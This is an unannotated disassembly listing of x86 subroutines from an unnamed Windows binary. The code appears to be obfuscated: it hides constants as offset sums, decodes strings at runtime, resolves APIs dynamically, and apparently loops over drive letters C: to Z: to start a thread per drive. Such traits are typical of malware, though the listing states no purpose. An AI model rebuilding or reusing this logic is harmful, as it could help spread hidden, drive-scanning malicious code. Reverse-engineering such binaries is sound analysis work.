lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_444FE2: ; CODE XREF: sub_44496E+679j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_444FE2
mov [ebp+var_60EA8], eax
mov edx, dword_55123C
mov ecx, edx
add ecx, edx
cmp eax, ecx
jz short loc_445015
movsx edx, word_551218
mov ecx, dword_5510E0
lea edx, [edx+ecx+0C2h]
cmp eax, edx
jbe short loc_44501A
loc_445015: ; CODE XREF: sub_44496E+68Dj
jmp loc_4450EA
; ---------------------------------------------------------------------------
loc_44501A: ; CODE XREF: sub_44496E+6A5j
movsx eax, word_551244
sub eax, 7
mov [ebp+var_60EA4], eax
jmp short loc_445054
; ---------------------------------------------------------------------------
loc_44502C: ; CODE XREF: sub_44496E+6F2j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
movsx edx, word_5510FC
add edx, 1Eh
cmp eax, edx
jnz short loc_445062
inc [ebp+var_60EA4]
loc_445054: ; CODE XREF: sub_44496E+6BCj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_44502C
loc_445062: ; CODE XREF: sub_44496E+6DEj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_4450EA
movsx eax, word_5510FC
dec eax
push eax
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_43FE22
add esp, 0Ch
mov [ebp+var_60EDC], eax
mov eax, dword_551180
add eax, 0FFF7h
add eax, dword_551234
cmp [ebp+var_60EDC], eax
jnz short loc_4450EA
push offset byte_551741
call sub_43CAF7
push eax
lea edi, [ebp+var_50E9B]
push edi
call ds:dword_44802C
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call ds:dword_44802C
add esp, 14h
loc_4450EA: ; CODE XREF: sub_44496E:loc_445015j
; sub_44496E+700j ...
mov eax, [ebp+var_60EA8]
mov edx, dword_55119C
add edx, dword_5511C0
sub edx, 4
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_444FD2
mov eax, dword_55120C
sub eax, 4
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_445130: ; CODE XREF: sub_44496E+7C7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_445130
mov [ebp+var_60EA8], eax
mov eax, dword_5511C0
sub eax, 1
mov [ebp+var_40E9C], eax
jmp loc_445363
; ---------------------------------------------------------------------------
loc_445150: ; CODE XREF: sub_44496E+A01j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_551134
add edx, 15h
add edx, dword_551098
cmp eax, edx
jz short loc_445178
and [ebp+var_60EAC], 0
loc_445178: ; CODE XREF: sub_44496E+801j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_5511DC
add edx, 20h
cmp eax, edx
jnz loc_445309
mov eax, dword_551184
sub eax, 4
cmp [ebp+var_40E9C], eax
jbe loc_44525B
mov eax, [ebp+var_40E9C]
movsx edx, word_551128
add edx, dword_551158
sub edx, 7
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_55114C
add edx, 1Eh
cmp eax, edx
jle short loc_4451F1
mov edx, dword_5510E8
add edx, 2Fh
cmp eax, edx
jl short loc_445251
loc_4451F1: ; CODE XREF: sub_44496E+874j
movzx eax, [ebp+var_60EDD]
movsx edx, word_551164
mov ecx, dword_5511AC
lea edx, [edx+ecx+36h]
cmp eax, edx
jle short loc_445222
movsx edx, word_5511CC
mov ecx, dword_5511A0
lea edx, [edx+ecx+30h]
cmp eax, edx
jl short loc_445251
loc_445222: ; CODE XREF: sub_44496E+89Dj
movzx eax, [ebp+var_60EDD]
movsx edx, word_551194
mov ecx, dword_5510E0
lea edx, [edx+ecx+73h]
cmp eax, edx
jle short loc_44525B
mov edx, dword_5510AC
add edx, 78h
add edx, dword_5511DC
cmp eax, edx
jge short loc_44525B
loc_445251: ; CODE XREF: sub_44496E+881j
; sub_44496E+8B2j
mov [ebp+var_60EAC], 1
loc_44525B: ; CODE XREF: sub_44496E+837j
; sub_44496E+8CEj ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_445309
mov eax, [ebp+var_40E9C]
mov edx, dword_551098
sub edx, 8
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_5511F4
add edx, 15h
add edx, dword_551204
cmp eax, edx
jle short loc_4452BB
mov edx, dword_551188
add edx, 29h
movsx ecx, word_551094
add edx, ecx
cmp eax, edx
jl short loc_4452FF
loc_4452BB: ; CODE XREF: sub_44496E+935j
movzx eax, [ebp+var_60EDD]
mov edx, dword_55121C
add edx, 35h
cmp eax, edx
jle short loc_4452DC
mov edx, dword_5511F8
add edx, 3Eh
cmp eax, edx
jl short loc_4452FF
loc_4452DC: ; CODE XREF: sub_44496E+95Fj
movzx eax, [ebp+var_60EDD]
movsx edx, word_551138
add edx, 77h
cmp eax, edx
jle short loc_445309
movsx edx, word_5510CC
add edx, 7Eh
cmp eax, edx
jge short loc_445309
loc_4452FF: ; CODE XREF: sub_44496E+94Bj
; sub_44496E+96Cj
mov [ebp+var_60EAC], 1
loc_445309: ; CODE XREF: sub_44496E+823j
; sub_44496E+8F9j ...
cmp [ebp+var_60EAC], 0
jnz short loc_445332
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_445332: ; CODE XREF: sub_44496E+9A2j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_5510D8
add edx, 18h
add edx, dword_55110C
cmp eax, edx
jnz short loc_44535D
mov [ebp+var_60EAC], 1
loc_44535D: ; CODE XREF: sub_44496E+9E3j
inc [ebp+var_40E9C]
loc_445363: ; CODE XREF: sub_44496E+7DDj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_445150
mov eax, [ebp+var_60EB4]
mov edx, dword_5511B0
movsx ecx, word_55109C
add edx, ecx
sub edx, 0Dh
mov [ebp+eax+var_50E9B], dl
loc_445394: ; CODE XREF: sub_44496E+5A3j
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4453A0: ; CODE XREF: sub_44496E+575j
movsx eax, word_55113C
sub eax, 9
mov [ebp+var_60EB0], eax
lea eax, [ebp+var_60EB0]
push eax
push offset dword_552A58
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551204
add eax, dword_551180
sub eax, 2
cmp ebx, eax
jnz loc_4456D2
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
mov eax, dword_551124
movsx edx, word_551128
add eax, edx
sub eax, 7
cmp ebx, eax
jnz loc_4456C6
mov eax, dword_551234
sub eax, 8
mov [ebp+var_50EA0], eax
jmp loc_4456B4
; ---------------------------------------------------------------------------
loc_445425: ; CODE XREF: sub_44496E+D52j
mov eax, dword_551160
add eax, dword_551174
sub eax, 0Eh
push eax
call ds:dword_50E924
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp+var_50EA0]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70F0C]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
movsx eax, word_551210
movsx edx, word_5510CC
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_4456AE
movsx eax, word_551094
add eax, dword_5510A0
sub eax, 5
mov [ebp+var_70EF4], eax
lea eax, [ebp+var_70EF4]
push eax
push offset dword_552A48
mov eax, [ebp+var_70F0C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5511A8
add eax, dword_551220
sub eax, 2
cmp ebx, eax
jnz loc_4456A2
lea eax, [ebp+var_60EF0]
push eax
movsx eax, word_551128
sub eax, 5
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_445524
cmp [ebp+var_60EF0], 8
jz short loc_445529
loc_445524: ; CODE XREF: sub_44496E+BAAj
jmp loc_445696
; ---------------------------------------------------------------------------
loc_445529: ; CODE XREF: sub_44496E+BB4j
mov eax, dword_55120C
add eax, dword_55118C
movsx edx, word_55113C
sub edx, 9
mov byte ptr [ebp+eax+var_70EF4], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_43DBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F10], edi
push [ebp+var_60EE8]
call ds:dword_54FF34
mov eax, dword_551134
movsx edx, word_551094
movsx edx, byte ptr [ebp+edx+var_70EF4+3]
mov ecx, eax
add ecx, eax
mov eax, ecx
sub eax, 4
cmp edx, eax
jz loc_445696
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_43A324
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_551120
sub eax, 8
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_551220
add eax, dword_55124C
movsx edx, word_551118
sub edx, 8
mov [ebp+eax+var_71F16], dl
or ebx, ebx
jnz short loc_445621
cmp [ebp+var_60EF0], 8
jnz short loc_445621
lea eax, [ebp+var_71F0B]
push eax
push [ebp+var_60EE8]
call sub_43DBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F14], edi
push [ebp+var_60EE8]
call ds:dword_54FF34
loc_445621: ; CODE XREF: sub_44496E+C7Dj
; sub_44496E+C87j
push offset byte_551739
call sub_43CAF7
push [ebp+var_50EA0]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50E928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
lea eax, [ebp+var_71F0B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
push offset dword_551734
call sub_43CAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 34h
loc_445696: ; CODE XREF: sub_44496E:loc_445524j
; sub_44496E+C20j
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4456A2: ; CODE XREF: sub_44496E+B7Cj
mov eax, [ebp+var_70F0C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4456AE: ; CODE XREF: sub_44496E+B30j
inc [ebp+var_50EA0]
loc_4456B4: ; CODE XREF: sub_44496E+AB2j
mov eax, [ebp+var_60EBC]
cmp [ebp+var_50EA0], eax
jb loc_445425
loc_4456C6: ; CODE XREF: sub_44496E+A9Ej
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4456D2: ; CODE XREF: sub_44496E+A70j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, dword_55112C
add edx, dword_551180
sub edx, 8
cmp eax, edx
jz short loc_44573F
push offset word_55172E
call sub_43CAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
push offset byte_551729
call sub_43CAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
add esp, 20h
loc_44573F: ; CODE XREF: sub_44496E+4F6j
; sub_44496E+D88j
inc [ebp+var_30E50]
loc_445745: ; CODE XREF: sub_44496E+47Aj
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_444DED
loc_445757: ; CODE XREF: sub_44496E+2FDj
; sub_44496E+385j ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_444C0E
lea eax, [ebp+var_30D40]
push eax
call ds:dword_50E91C
pop ecx
push [ebp+var_30E48]
call ds:dword_54FF34
push [ebp+var_30E44]
call ds:dword_54FF34
loc_445795: ; CODE XREF: sub_44496E+1FFj
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4457A1: ; CODE XREF: sub_44496E+1D4j
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4457AD: ; CODE XREF: sub_44496E+1A9j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4457B9: ; CODE XREF: sub_44496E+CAj
; sub_44496E:loc_444A8Cj ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4457C5: ; CODE XREF: sub_44496E+51j
; sub_44496E+9Fj
pop edi
pop esi
pop ebx
leave
retn
sub_44496E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4457CA proc near ; DATA XREF: .data:005512F0o
push ebp
mov ebp, esp
push offset dword_44B5B8
call ds:dword_48B9F8
mov eax, ds:dword_44B5B8
pop ebp
retn 4
sub_4457CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4457E1 proc near ; CODE XREF: sub_43D535+18p
; sub_441BFD+10p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call ds:dword_54FB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_445829
cmp [ebp+arg_4], 0
jz short loc_445825
mov eax, [ebp+arg_4]
mov edx, dword_551220
add edx, dword_55119C
sub edx, 6
mov [eax], edx
loc_445825: ; CODE XREF: sub_4457E1+2Ej
xor eax, eax
jmp short loc_445878
; ---------------------------------------------------------------------------
loc_445829: ; CODE XREF: sub_4457E1+28j
mov eax, dword_5511B4
sub eax, 4
push eax
push edi
call ds:dword_4CE910
mov esi, eax
add eax, 10h
push eax
push 40h
call ds:dword_48B9EC
mov ebx, eax
push dword_5511FC
cmp [ebp+arg_4], 0
jz short loc_44585D
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_445863
; ---------------------------------------------------------------------------
loc_44585D: ; CODE XREF: sub_4457E1+72j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_445863: ; CODE XREF: sub_4457E1+7Aj
push [ebp+var_8]
push esi
push ebx
push edi
call ds:dword_448034
push edi
call ds:dword_4CD948
mov eax, ebx
loc_445878: ; CODE XREF: sub_4457E1+46j
pop edi
pop esi
pop ebx
leave
retn
sub_4457E1 endp
; =============== S U B R O U T I N E =======================================
sub_44587D proc near ; DATA XREF: .data:005512B8o
mov eax, 80004001h
retn 10h
sub_44587D endp
; =============== S U B R O U T I N E =======================================
sub_445885 proc near ; CODE XREF: sub_446ED7+1Bp
push edi
push offset byte_551719
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551278, eax
mov eax, dword_551168
add eax, dword_55117C
sub eax, 9
cmp dword_551278, eax
jnz short loc_4458CA
push offset byte_551709
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551278, eax
loc_4458CA: ; CODE XREF: sub_445885+2Cj
push offset dword_5516EC
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_48C1E4, eax
push offset byte_5516CF
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_44B1A8, eax
push offset asc_5516C0 ; "\v"
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_4CE904, eax
push offset byte_5516A7
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_4CD81C, eax
push offset dword_55168C
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_448050, eax
push offset byte_551673
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_448020, eax
push offset byte_55165F
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_54E968, eax
push offset byte_551649
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_48B9DC, eax
push offset byte_55162B
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_48B9E8, eax
push offset word_55161A
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_44B59C, eax
push offset word_55160A
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_44B5A0, eax
push offset off_5515EA
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_449008, eax
push offset byte_5515D3
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_4CE90C, eax
push offset byte_5515BF
call sub_43CAF7
push eax
call sub_445D7B
mov ds:dword_44B080, eax
push offset byte_5515AB
call sub_43CAF7
push eax
call sub_445D7B
add esp, 78h
mov ds:dword_44804C, eax
pop edi
retn
sub_445885 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445A0A proc near ; CODE XREF: sub_4428C5+4Cp
; sub_4428C5+61p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_55125C
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_445A0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445A22 proc near ; CODE XREF: sub_445E8D+9Cp
; sub_445E8D+B4p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
cmp [ebp+arg_0], 6Ah
jnz short loc_445A52
add [ebp+arg_0], 1
loc_445A52: ; CODE XREF: sub_445A22+2Aj
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_445A6D
cmp al, 79h
jz short loc_445A6D
cmp al, 75h
jz short loc_445A6D
cmp al, 69h
jz short loc_445A6D
cmp al, 6Fh
jz short loc_445A6D
cmp al, 61h
jnz short loc_445A71
loc_445A6D: ; CODE XREF: sub_445A22+35j
; sub_445A22+39j ...
add [ebp+arg_0], 1
loc_445A71: ; CODE XREF: sub_445A22+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_445A22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445A79 proc near ; CODE XREF: sub_43A324+481p
; sub_43A324+49Dp
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4475B4
push esi
push edi
push 5
push [ebp+arg_0]
call ds:dword_448004
mov edi, eax
loc_445A95: ; CODE XREF: sub_445A79+7Bj
mov eax, dword_55120C
sub eax, 4
cmp edi, eax
jnz short loc_445AA5
xor eax, eax
jmp short loc_445AF6
; ---------------------------------------------------------------------------
loc_445AA5: ; CODE XREF: sub_445A79+26j
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call ds:dword_449FD0
movsx eax, word_551118
sub eax, 7
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_43FE22
add esp, 0Ch
mov esi, dword_5510E4
add esi, 0FFFAh
cmp eax, esi
jz short loc_445AE9
mov eax, edi
jmp short loc_445AF6
; ---------------------------------------------------------------------------
loc_445AE9: ; CODE XREF: sub_445A79+6Aj
push 2
push edi
call ds:dword_448004
mov edi, eax
jmp short loc_445A95
; ---------------------------------------------------------------------------
loc_445AF6: ; CODE XREF: sub_445A79+2Aj
; sub_445A79+6Ej
pop edi
pop esi
leave
retn
sub_445A79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445AFA proc near ; CODE XREF: sub_43D0C6+AEp
; sub_43D71B+45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_551120
mov esi, eax
add esi, dword_5510D8
sub esi, 0Eh
movsx edi, word_5511C4
sub edi, 8
jmp short loc_445B6A
; ---------------------------------------------------------------------------
loc_445B20: ; CODE XREF: sub_445AFA+7Cj
movzx edx, word ptr [ebx+edi*2]
mov ecx, [ebp+arg_4]
movzx ecx, word ptr [ecx+edi*2]
add edx, ecx
add edx, esi
mov [ebp+var_4], edx
mov eax, dword_5511AC
add eax, 0FFFDh
cmp edx, eax
jbe short loc_445B59
movsx esi, word_5511CC
sub esi, 8
mov eax, dword_551180
add eax, 10000h
sub [ebp+var_4], eax
jmp short loc_445B62
; ---------------------------------------------------------------------------
loc_445B59: ; CODE XREF: sub_445AFA+44j
mov esi, dword_551170
sub esi, 4
loc_445B62: ; CODE XREF: sub_445AFA+5Dj
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_445B6A: ; CODE XREF: sub_445AFA+24j
movsx eax, word_5511A4
add eax, 1Ah
cmp edi, eax
jb short loc_445B20
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_445AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_445B7F proc near ; DATA XREF: sub_446ED7:loc_447202o
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_445BA4
; ---------------------------------------------------------------------------
loc_445B8F: ; CODE XREF: sub_445B7F+28j
mov ebx, dword_5510E8
add ebx, dword_5511DC
dec ebx
mov ds:dword_54FB20[esi*4], ebx
inc esi
loc_445BA4: ; CODE XREF: sub_445B7F+Ej
cmp esi, 5Ah
jbe short loc_445B8F
loc_445BA9: ; CODE XREF: sub_445B7F+1F0j
mov edi, 43h
jmp loc_445D56
; ---------------------------------------------------------------------------
loc_445BB3: ; CODE XREF: sub_445B7F+1DAj
push offset byte_5515A3
call sub_43CAF7
push edi
push eax
lea ebx, [ebp+var_E]
push ebx
call ds:dword_50E928
mov eax, dword_551100
add eax, dword_5511BC
sub eax, 0Fh
push eax
call ds:dword_50E924
add esp, 14h
mov ebx, dword_55122C
sub ebx, 7
cmp ds:dword_54FB20[edi*4], ebx
jz short loc_445C38
movsx eax, word_551118
sub eax, 8
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
push eax
push ds:dword_54FB20[edi*4]
call ds:dword_54E94C
cmp [ebp+var_14], 103h
jz short loc_445C38
push ds:dword_54FB20[edi*4]
call ds:dword_4CD948
movsx ebx, word_551128
sub ebx, 5
mov ds:dword_54FB20[edi*4], ebx
loc_445C38: ; CODE XREF: sub_445B7F+72j
; sub_445B7F+99j
lea eax, [ebp+var_E]
push eax
call ds:dword_54E964
mov [ebp+var_4], eax
cmp eax, 3
jz short loc_445C8C
cmp eax, 4
jz short loc_445C8C
cmp eax, 2
jz short loc_445C8C
mov ebx, dword_55124C
add ebx, dword_5510E0
sub ebx, 0Fh
cmp ds:dword_54FB20[edi*4], ebx
jz loc_445D55
movsx ebx, word_5510C4
add ebx, dword_5511B0
sub ebx, 0Dh
mov ds:dword_44B5E0[edi*4], ebx
jmp loc_445D55
; ---------------------------------------------------------------------------
loc_445C8C: ; CODE XREF: sub_445B7F+C9j
; sub_445B7F+CEj ...
push 1
call ds:dword_449FC0
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_E]
push eax
call ds:dword_44B088
mov ebx, dword_5511EC
sub ebx, 3
cmp eax, ebx
jnz short loc_445CE9
mov ebx, dword_551134
sub ebx, 2
cmp ds:dword_54FB20[edi*4], ebx
jz loc_445D55
mov ebx, dword_55115C
add ebx, dword_551120
sub ebx, 0Ch
mov ds:dword_44B5E0[edi*4], ebx
jmp short loc_445D55
; ---------------------------------------------------------------------------
loc_445CE9: ; CODE XREF: sub_445B7F+13Aj
mov ebx, dword_5510BC
movsx edx, word_5510F8
add ebx, edx
sub ebx, 5
cmp ds:dword_54FB20[edi*4], ebx
jnz short loc_445D55
mov ds:dword_44B5E0[edi*4], edi
lea eax, [ebp+var_28]
push eax
mov eax, dword_5510BC
movsx edx, word_551190
add eax, edx
sub eax, 8
push eax
lea ebx, ds:44B5E0h[edi*4]
push ebx
push offset sub_43DE1F
mov ebx, dword_551100
add ebx, dword_5510E8
sub ebx, 0Ah
push ebx
mov ebx, dword_55110C
sub ebx, 2
push ebx
call ds:dword_54FF20
mov ds:dword_54FB20[edi*4], eax
loc_445D55: ; CODE XREF: sub_445B7F+EBj
; sub_445B7F+108j ...
inc edi
loc_445D56: ; CODE XREF: sub_445B7F+2Fj
cmp edi, 5Ah
jbe loc_445BB3
mov eax, dword_5511B0
sub eax, 7
push eax
call ds:dword_50E924
pop ecx
jmp loc_445BA9
sub_445B7F endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445D7B proc near ; CODE XREF: sub_445885+50p
; sub_445885+65p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_551278
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_445D7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445D93 proc near ; DATA XREF: .data:off_5512ECo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_552A98
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_445DBF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_445E14
; ---------------------------------------------------------------------------
loc_445DBF: ; CODE XREF: sub_445D93+1Aj
push offset dword_552A18
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_445DDF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_445E14
; ---------------------------------------------------------------------------
loc_445DDF: ; CODE XREF: sub_445D93+3Aj
push offset dword_5529D8
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_445DFF
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_445E14
; ---------------------------------------------------------------------------
loc_445DFF: ; CODE XREF: sub_445D93+5Aj
mov eax, dword_55120C
add eax, dword_551098
sub eax, 0Dh
mov [edi], eax
mov eax, 80004002h
loc_445E14: ; CODE XREF: sub_445D93+2Aj
; sub_445D93+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_445D93 endp
; =============== S U B R O U T I N E =======================================
sub_445E1B proc near ; CODE XREF: sub_446ED7+20p
push edi
push offset byte_551595
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551270, eax
movsx eax, word_5510A8
cmp dword_551270, eax
jnz short loc_445E59
push offset byte_551587
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551270, eax
loc_445E59: ; CODE XREF: sub_445E1B+25j
mov eax, dword_551100
add eax, dword_5511A0
sub eax, 11h
cmp dword_551270, eax
jz short loc_445E8B
movsx eax, word_551164
add eax, 4
push eax
push dword_551270
call ds:dword_44B1AC
mov ds:dword_448024, eax
loc_445E8B: ; CODE XREF: sub_445E1B+52j
pop edi
retn
sub_445E1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445E8D proc near ; CODE XREF: sub_43F090+1AAp
; sub_443843+279p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
mov edi, dword_55123C
add edi, 1Fh
mov eax, esi
test eax, eax
jge short loc_445EAE
add eax, 0FFh
loc_445EAE: ; CODE XREF: sub_445E8D+1Aj
sar eax, 8
